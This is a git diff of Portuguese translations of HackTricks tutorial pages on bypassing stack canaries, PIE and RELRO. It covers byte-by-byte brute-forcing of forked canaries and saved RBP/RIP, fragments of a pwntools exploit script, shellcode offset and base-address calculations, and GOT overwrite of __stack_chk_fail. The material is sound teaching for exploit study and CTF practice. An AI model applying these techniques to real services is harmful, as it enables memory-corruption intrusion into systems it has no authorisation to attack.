Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Treinamento HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Apoie o HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -6,34 +6,34 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Suporte ao HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Se você estiver lidando com um binário protegido por um canário e PIE (Executable Independente de Posição), provavelmente precisará encontrar uma maneira de contorná-los.**
|
**Se você está enfrentando um binário protegido por um canário e PIE (Executable Independente de Posição), você provavelmente precisa encontrar uma maneira de contorná-los.**
|
||||||
|
|
||||||
![](<../../../.gitbook/assets/image (865).png>)
|
![](<../../../.gitbook/assets/image (865).png>)
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
Observe que o **`checksec`** pode não detectar que um binário está protegido por um canário se ele foi compilado estaticamente e não é capaz de identificar a função.\
|
Note que **`checksec`** pode não encontrar que um binário está protegido por um canário se este foi compilado estaticamente e não é capaz de identificar a função.\
|
||||||
No entanto, você pode perceber manualmente isso se encontrar que um valor é salvo na pilha no início de uma chamada de função e esse valor é verificado antes de sair.
|
No entanto, você pode perceber isso manualmente se encontrar que um valor é salvo na pilha no início de uma chamada de função e esse valor é verificado antes de sair.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## Endereços de Força Bruta
|
## Endereços de Força Bruta
|
||||||
|
|
||||||
Para **contornar o PIE**, você precisa **vazar algum endereço**. E se o binário não estiver vazando nenhum endereço, a melhor coisa a fazer é **forçar bruta o RBP e RIP salvos na pilha** na função vulnerável.\
|
Para **contornar o PIE**, você precisa **vazar algum endereço**. E se o binário não estiver vazando nenhum endereço, a melhor maneira de fazer isso é **forçar o RBP e o RIP salvos na pilha** na função vulnerável.\
|
||||||
Por exemplo, se um binário é protegido usando tanto um **canário** quanto **PIE**, você pode começar a forçar bruta o canário, então os **próximos** 8 Bytes (x64) serão o **RBP** salvo e os **próximos** 8 Bytes serão o **RIP** salvo.
|
Por exemplo, se um binário estiver protegido usando tanto um **canário** quanto **PIE**, você pode começar a forçar o canário, então os **próximos** 8 Bytes (x64) serão o **RBP** salvo e os **próximos** 8 Bytes serão o **RIP** salvo.
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Supõe-se que o endereço de retorno dentro da pilha pertence ao código binário principal, que, se a vulnerabilidade estiver localizada no código binário, geralmente será o caso.
|
Supõe-se que o endereço de retorno dentro da pilha pertença ao código binário principal, que, se a vulnerabilidade estiver localizada no código binário, geralmente será o caso.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Para forçar bruta o RBP e o RIP do binário, você pode descobrir que um byte adivinhado válido está correto se o programa produzir algo ou simplesmente não travar. A **mesma função** fornecida para forçar bruta o canário pode ser usada para forçar bruta o RBP e o RIP:
|
Para forçar o RBP e o RIP do binário, você pode descobrir que um byte adivinhado válido está correto se o programa produzir alguma saída ou simplesmente não travar. A **mesma função** fornecida para forçar o canário pode ser usada para forçar o RBP e o RIP:
|
||||||
```python
|
```python
|
||||||
from pwn import *
|
from pwn import *
|
||||||
|
|
||||||
|
@ -83,36 +83,36 @@ RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])
|
||||||
```
|
```
|
||||||
A última coisa que você precisa para derrotar o PIE é calcular **endereços úteis a partir dos endereços vazados**: o **RBP** e o **RIP**.
|
A última coisa que você precisa para derrotar o PIE é calcular **endereços úteis a partir dos endereços vazados**: o **RBP** e o **RIP**.
|
||||||
|
|
||||||
A partir do **RBP**, você pode calcular **onde está escrevendo seu shell no stack**. Isso pode ser muito útil para saber onde você vai escrever a string _"/bin/sh\x00"_ dentro do stack. Para calcular a distância entre o RBP vazado e seu shellcode, você pode simplesmente colocar um **ponto de interrupção após vazar o RBP** e verificar **onde está localizado seu shellcode**, então, você pode calcular a distância entre o shellcode e o RBP:
|
A partir do **RBP** você pode calcular **onde você está escrevendo seu shell na pilha**. Isso pode ser muito útil para saber onde você vai escrever a string _"/bin/sh\x00"_ dentro da pilha. Para calcular a distância entre o RBP vazado e seu shellcode, você pode simplesmente colocar um **ponto de interrupção após vazar o RBP** e verificar **onde seu shellcode está localizado**, então, você pode calcular a distância entre o shellcode e o RBP:
|
||||||
```python
|
```python
|
||||||
INI_SHELLCODE = RBP - 1152
|
INI_SHELLCODE = RBP - 1152
|
||||||
```
|
```
|
||||||
A partir do **RIP** é possível calcular o **endereço base do executável PIE**, o que será necessário para criar uma **cadeia ROP válida**.\
|
A partir do **RIP**, você pode calcular o **endereço base do binário PIE**, que é o que você vai precisar para criar uma **cadeia ROP válida**.\
|
||||||
Para calcular o endereço base, basta executar `objdump -d vunbinary` e verificar os últimos endereços desmontados:
|
Para calcular o endereço base, basta fazer `objdump -d vunbinary` e verificar os últimos endereços da desassemblagem:
|
||||||
|
|
||||||
![](<../../../.gitbook/assets/image (479).png>)
|
![](<../../../.gitbook/assets/image (479).png>)
|
||||||
|
|
||||||
Neste exemplo, é possível ver que apenas **1 byte e meio é necessário** para localizar todo o código, então, o endereço base nesta situação será o **RIP vazado, mas terminando em "000"**. Por exemplo, se o vazamento for `0x562002970ecf`, o endereço base será `0x562002970000`.
|
Nesse exemplo, você pode ver que apenas **1 Byte e meio é necessário** para localizar todo o código, então, o endereço base nesta situação será o **RIP vazado, mas terminando em "000"**. Por exemplo, se você vazou `0x562002970ecf`, o endereço base é `0x562002970000`
|
||||||
```python
|
```python
|
||||||
elf.address = RIP - (RIP & 0xfff)
|
elf.address = RIP - (RIP & 0xfff)
|
||||||
```
|
```
|
||||||
## Melhorias
|
## Melhorias
|
||||||
|
|
||||||
De acordo com [**algumas observações deste post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#extended-brute-force-leaking), é possível que ao vazar os valores RBP e RIP, o servidor não irá travar com alguns valores que não são os corretos e o script BF pensará que obteve os corretos. Isso ocorre porque é possível que **alguns endereços simplesmente não causem a quebra, mesmo que não sejam exatamente os corretos**.
|
De acordo com [**algumas observações deste post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#extended-brute-force-leaking), é possível que ao vazar os valores de RBP e RIP, o servidor não trave com alguns valores que não são os corretos e o script BF pense que obteve os bons. Isso ocorre porque é possível que **alguns endereços simplesmente não o quebrem mesmo que não sejam exatamente os corretos**.
|
||||||
|
|
||||||
De acordo com esse post do blog, é recomendado adicionar um pequeno atraso entre as solicitações feitas ao servidor.
|
De acordo com esse post no blog, é recomendado adicionar um pequeno atraso entre as requisições ao servidor.
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprenda e pratique Hacking na AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Treinamento AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Aprenda e pratique Hacking no GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Treinamento GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Apoie o HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -41,7 +41,7 @@ readelf -l /proc/ID_PROC/exe | grep BIND_NOW
|
||||||
|
|
||||||
Se o Full RELRO estiver habilitado, a única maneira de contorná-lo é encontrar outra forma que não precise escrever na tabela GOT para obter execução arbitrária.
|
Se o Full RELRO estiver habilitado, a única maneira de contorná-lo é encontrar outra forma que não precise escrever na tabela GOT para obter execução arbitrária.
|
||||||
|
|
||||||
Note que **o GOT da LIBC geralmente é Partial RELRO**, então pode ser modificado com uma escrita arbitrária. Mais informações em [Targetting libc GOT entries](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries)**.**
|
Note que **o GOT da LIBC é geralmente Partial RELRO**, então pode ser modificado com uma escrita arbitrária. Mais informações em [Targetting libc GOT entries](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries)**.**
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
|
|
@ -6,52 +6,52 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Suporte ao HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## **StackGuard e StackShield**
|
## **StackGuard e StackShield**
|
||||||
|
|
||||||
**StackGuard** insere um valor especial conhecido como **canary** antes do **EIP (Extended Instruction Pointer)**, especificamente `0x000aff0d` (representando nulo, nova linha, EOF, retorno de carro) para proteger contra estouros de buffer. No entanto, funções como `recv()`, `memcpy()`, `read()` e `bcopy()` permanecem vulneráveis, e não protege o **EBP (Base Pointer)**.
|
**StackGuard** insere um valor especial conhecido como **canário** antes do **EIP (Extended Instruction Pointer)**, especificamente `0x000aff0d` (representando null, newline, EOF, carriage return) para proteger contra estouros de buffer. No entanto, funções como `recv()`, `memcpy()`, `read()`, e `bcopy()` permanecem vulneráveis, e não protege o **EBP (Base Pointer)**.
|
||||||
|
|
||||||
**StackShield** adota uma abordagem mais sofisticada do que o StackGuard, mantendo uma **Global Return Stack**, que armazena todos os endereços de retorno (**EIPs**). Essa configuração garante que qualquer estouro não cause danos, pois permite a comparação entre os endereços de retorno armazenados e os reais para detectar ocorrências de estouro. Além disso, o StackShield pode verificar o endereço de retorno em relação a um valor de limite para detectar se o **EIP** aponta para fora do espaço de dados esperado. No entanto, essa proteção pode ser contornada por técnicas como Return-to-libc, ROP (Return-Oriented Programming) ou ret2ret, indicando que o StackShield também não protege variáveis locais.
|
**StackShield** adota uma abordagem mais sofisticada do que o StackGuard, mantendo uma **Global Return Stack**, que armazena todos os endereços de retorno (**EIPs**). Essa configuração garante que qualquer estouro não cause danos, pois permite uma comparação entre os endereços de retorno armazenados e os reais para detectar ocorrências de estouro. Além disso, o StackShield pode verificar o endereço de retorno em relação a um valor limite para detectar se o **EIP** aponta fora do espaço de dados esperado. No entanto, essa proteção pode ser contornada por técnicas como Return-to-libc, ROP (Return-Oriented Programming), ou ret2ret, indicando que o StackShield também não protege variáveis locais.
|
||||||
|
|
||||||
## **Protetor de Stack Smash (ProPolice) `-fstack-protector`:**
|
## **Stack Smash Protector (ProPolice) `-fstack-protector`:**
|
||||||
|
|
||||||
Esse mecanismo coloca um **canary** antes do **EBP** e reorganiza as variáveis locais para posicionar buffers em endereços de memória mais altos, impedindo que eles sobrescrevam outras variáveis. Ele também copia com segurança os argumentos passados na pilha acima das variáveis locais e usa essas cópias como argumentos. No entanto, não protege arrays com menos de 8 elementos ou buffers dentro de uma estrutura do usuário.
|
Esse mecanismo coloca um **canário** antes do **EBP**, e reorganiza variáveis locais para posicionar buffers em endereços de memória mais altos, impedindo que sobrescrevam outras variáveis. Ele também copia de forma segura os argumentos passados na pilha acima das variáveis locais e usa essas cópias como argumentos. No entanto, não protege arrays com menos de 8 elementos ou buffers dentro da estrutura de um usuário.
|
||||||
|
|
||||||
O **canary** é um número aleatório derivado de `/dev/urandom` ou um valor padrão de `0xff0a0000`. Ele é armazenado no **TLS (Thread Local Storage)**, permitindo que espaços de memória compartilhados entre threads tenham variáveis globais ou estáticas específicas da thread. Essas variáveis são inicialmente copiadas do processo pai, e os processos filhos podem alterar seus dados sem afetar o pai ou irmãos. No entanto, se um **`fork()`** é usado sem criar um novo canary, todos os processos (pai e filhos) compartilham o mesmo canary, tornando-o vulnerável. Na arquitetura **i386**, o canary é armazenado em `gs:0x14`, e no **x86\_64**, em `fs:0x28`.
|
O **canário** é um número aleatório derivado de `/dev/urandom` ou um valor padrão de `0xff0a0000`. Ele é armazenado em **TLS (Thread Local Storage)**, permitindo que espaços de memória compartilhados entre threads tenham variáveis globais ou estáticas específicas da thread. Essas variáveis são inicialmente copiadas do processo pai, e os processos filhos podem alterar seus dados sem afetar o pai ou irmãos. No entanto, se um **`fork()` for usado sem criar um novo canário, todos os processos (pai e filhos) compartilham o mesmo canário**, tornando-o vulnerável. Na arquitetura **i386**, o canário é armazenado em `gs:0x14`, e em **x86\_64**, em `fs:0x28`.
|
||||||
|
|
||||||
Essa proteção local identifica funções com buffers vulneráveis a ataques e injeta código no início dessas funções para colocar o canary e no final para verificar sua integridade.
|
Essa proteção local identifica funções com buffers vulneráveis a ataques e injeta código no início dessas funções para colocar o canário, e no final para verificar sua integridade.
|
||||||
|
|
||||||
Quando um servidor web usa `fork()`, ele permite um ataque de força bruta para adivinhar o byte do canary por byte. No entanto, usar `execve()` após `fork()` sobrescreve o espaço de memória, anulando o ataque. `vfork()` permite que o processo filho execute sem duplicação até tentar escrever, momento em que uma duplicata é criada, oferecendo uma abordagem diferente para a criação de processos e manipulação de memória.
|
Quando um servidor web usa `fork()`, ele permite um ataque de força bruta para adivinhar o byte do canário um por um. No entanto, usar `execve()` após `fork()` sobrescreve o espaço de memória, negando o ataque. `vfork()` permite que o processo filho execute sem duplicação até que tente escrever, momento em que uma duplicata é criada, oferecendo uma abordagem diferente para a criação de processos e manipulação de memória.
|
||||||
|
|
||||||
### Comprimentos
|
### Comprimentos
|
||||||
|
|
||||||
Em binários `x64`, o cookie do canary é um qword de **`0x8`** bytes. Os **sete primeiros bytes são aleatórios** e o último byte é um **byte nulo**.
|
Em binários `x64`, o cookie do canário é um **`0x8`** byte qword. Os **primeiros sete bytes são aleatórios** e o último byte é um **byte nulo.**
|
||||||
|
|
||||||
Em binários `x86`, o cookie do canary é um dword de **`0x4`** bytes. Os **três primeiros bytes são aleatórios** e o último byte é um **byte nulo**.
|
Em binários `x86`, o cookie do canário é um **`0x4`** byte dword. Os **primeiros três bytes são aleatórios** e o último byte é um **byte nulo.**
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
O byte menos significativo de ambos os canaries é um byte nulo porque será o primeiro na pilha vindo de endereços mais baixos e, portanto, **funções que leem strings irão parar antes de lê-lo**.
|
O byte menos significativo de ambos os canários é um byte nulo porque será o primeiro na pilha vindo de endereços mais baixos e, portanto, **funções que leem strings pararão antes de lê-lo**.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## Bypasses
|
## Bypasses
|
||||||
|
|
||||||
**Vazando o canary** e então sobrescrevendo-o (por exemplo, estouro de buffer) com seu próprio valor.
|
**Vazar o canário** e depois sobrescrevê-lo (por exemplo, estouro de buffer) com seu próprio valor.
|
||||||
|
|
||||||
* Se o **canary é bifurcado em processos filhos**, pode ser possível **forçá-lo por tentativa e erro** um byte de cada vez:
|
* Se o **canário for duplicado em processos filhos**, pode ser possível **forçar** um byte de cada vez:
|
||||||
|
|
||||||
{% content-ref url="bf-forked-stack-canaries.md" %}
|
{% content-ref url="bf-forked-stack-canaries.md" %}
|
||||||
[bf-forked-stack-canaries.md](bf-forked-stack-canaries.md)
|
[bf-forked-stack-canaries.md](bf-forked-stack-canaries.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
* Se houver alguma **vulnerabilidade de vazamento ou leitura arbitrária interessante** no binário, pode ser possível vazá-lo:
|
* Se houver algum **vazamento interessante ou vulnerabilidade de leitura arbitrária** no binário, pode ser possível vazá-lo:
|
||||||
|
|
||||||
{% content-ref url="print-stack-canary.md" %}
|
{% content-ref url="print-stack-canary.md" %}
|
||||||
[print-stack-canary.md](print-stack-canary.md)
|
[print-stack-canary.md](print-stack-canary.md)
|
||||||
|
@ -59,27 +59,28 @@ O byte menos significativo de ambos os canaries é um byte nulo porque será o p
|
||||||
|
|
||||||
* **Sobrescrevendo ponteiros armazenados na pilha**
|
* **Sobrescrevendo ponteiros armazenados na pilha**
|
||||||
|
|
||||||
A pilha vulnerável a um estouro de pilha pode **conter endereços de strings ou funções que podem ser sobrescritos** para explorar a vulnerabilidade sem precisar alcançar o canary da pilha. Verifique:
|
A pilha vulnerável a um estouro de pilha pode **contém endereços para strings ou funções que podem ser sobrescritos** a fim de explorar a vulnerabilidade sem precisar alcançar o canário da pilha. Confira:
|
||||||
|
|
||||||
{% content-ref url="../../stack-overflow/pointer-redirecting.md" %}
|
{% content-ref url="../../stack-overflow/pointer-redirecting.md" %}
|
||||||
[pointer-redirecting.md](../../stack-overflow/pointer-redirecting.md)
|
[pointer-redirecting.md](../../stack-overflow/pointer-redirecting.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
* **Modificando tanto o canary mestre quanto o da thread**
|
* **Modificando tanto o canário mestre quanto o da thread**
|
||||||
|
|
||||||
Um **estouro de buffer em uma função com thread** protegida com canary pode ser usado para **modificar o canary mestre da thread**. Como resultado, a mitigação é inútil porque a verificação é feita com dois canaries que são iguais (embora modificados).
|
Um estouro de buffer em uma função com threads protegida com canário pode ser usado para **modificar o canário mestre da thread**. Como resultado, a mitigação é inútil porque a verificação é usada com dois canários que são os mesmos (embora modificados).
|
||||||
|
|
||||||
Além disso, um **estouro de buffer em uma função com thread** protegida com canary poderia ser usada para **modificar o canary mestre armazenado no TLS**. Isso ocorre porque pode ser possível alcançar a posição de memória onde o TLS é armazenado (e, portanto, o canary) por meio de um **bof na pilha** de uma thread.\
|
Além disso, um estouro de buffer em uma função com threads protegida com canário poderia ser usado para **modificar o canário mestre armazenado no TLS**. Isso ocorre porque pode ser possível alcançar a posição de memória onde o TLS é armazenado (e, portanto, o canário) através de um **bof na pilha** de uma thread.\
|
||||||
Como resultado, a mitigação é inútil porque a verificação é feita com dois canaries que são iguais (embora modificados).\
|
Como resultado, a mitigação é inútil porque a verificação é usada com dois canários que são os mesmos (embora modificados).\
|
||||||
Esse ataque é realizado no artigo: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
|
Esse ataque é realizado na descrição: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
|
||||||
|
|
||||||
Verifique também a apresentação de [https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015) que menciona que geralmente o **TLS** é armazenado por **`mmap`** e quando uma **pilha** de **thread** é criada, também é gerada por `mmap` de acordo com isso, o que pode permitir o estouro conforme mostrado no artigo anterior.
|
Confira também a apresentação de [https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015) que menciona que geralmente o **TLS** é armazenado por **`mmap`** e quando uma **pilha** de **thread** é criada, ela também é gerada por `mmap`, de acordo com isso, o que pode permitir o estouro como mostrado na descrição anterior.
|
||||||
|
|
||||||
* **Modificar a entrada GOT de `__stack_chk_fail`**
|
* **Modificar a entrada GOT de `__stack_chk_fail`**
|
||||||
|
|
||||||
Se o binário tiver Partial RELRO, então você pode usar uma escrita arbitrária para modificar a **entrada GOT de `__stack_chk_fail`** para ser uma função fictícia que não bloqueia o programa se o canary for modificado.
|
Se o binário tiver Partial RELRO, então você pode usar uma escrita arbitrária para modificar a **entrada GOT de `__stack_chk_fail`** para ser uma função dummy que não bloqueia o programa se o canário for modificado.
|
||||||
|
|
||||||
|
Esse ataque é realizado na descrição: [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/)
|
||||||
|
|
||||||
Esse ataque é realizado no artigo: [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/)
|
|
||||||
## Referências
|
## Referências
|
||||||
|
|
||||||
* [https://guyinatuxedo.github.io/7.1-mitigation\_canary/index.html](https://guyinatuxedo.github.io/7.1-mitigation\_canary/index.html)
|
* [https://guyinatuxedo.github.io/7.1-mitigation\_canary/index.html](https://guyinatuxedo.github.io/7.1-mitigation\_canary/index.html)
|
||||||
|
@ -87,16 +88,16 @@ Esse ataque é realizado no artigo: [https://7rocky.github.io/en/ctf/other/secur
|
||||||
* [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/)
|
* [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/)
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Treinamento AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Treinamento GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Suporte ao HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -6,29 +6,29 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Suporte o HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
